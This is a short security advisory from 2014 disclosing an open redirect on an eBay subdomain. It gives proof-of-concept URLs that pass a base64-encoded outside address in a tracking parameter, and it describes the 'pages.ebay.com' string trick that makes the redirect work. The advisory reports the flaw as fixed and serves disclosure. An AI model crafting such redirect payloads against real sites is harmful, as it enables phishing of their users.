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SSCHADV2014-005 - ocsnext.ebay.com - Open Redirect

Advisory:
ocsnext.ebay.com – Open Redirect
Advisory ID:
SSCHADV2014-005
Author:
Stefan Schurtz
Affected Software:
Successfully tested on ocsnext.ebay.com
Vendor URL:
Vendor Status:
fixed
 
======================
Vulnerability Description
======================
 
The website "ocsnext.ebay.com" is prone to open redirect with a special provided url
 
======================
PoC-Exploit
======================

// open redirect doesn’t work

// http://www.darksecurity.de/ebay.com.txt = base64(aHR0cDovL3d3dy5kYXJrc2VjdXJpdHkuZGUvZWJheS5jb20udHh0)
 
http://ocsnext.ebay.com/ocs/trk?ocsrelatedhelpurl=aHR0cDovL3d3dy5kYXJrc2VjdXJpdHkuZGUvZWJheS5jb20udHh0&ocsrelatedhelpText=Resolving+transaction+problems+in+the+Resolution+Center

// open redirect works

http://www.darksecurity.de/pages.ebay.com.txt = base64(aHR0cDovL3d3dy5kYXJrc2VjdXJpdHkuZGUvcGFnZXMuZWJheS5jb20udHh0)
 
http://ocsnext.ebay.com/ocs/trk?ocsrelatedhelpurl=aHR0cDovL3d3dy5kYXJrc2VjdXJpdHkuZGUvcGFnZXMuZWJheS5jb20udHh0&ocsrelatedhelpText=Resolving+transaction+problems+in+the+Resolution+Center

The string "pages.ebay.com" must be provided in the url thereby the open redirect works

======================
Solution
======================

It seems like ebay fixed the problem without feedback

======================
Disclosure Timeline
======================

30-Jan-2014 – ebay informed via "http://pages.ebay.com/securitycenter/Researchers.html"

======================
Credits
======================

Vulnerability found and advisory written by Stefan Schurtz.

======================
References
======================

http://www.ebay.com/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-005.txt

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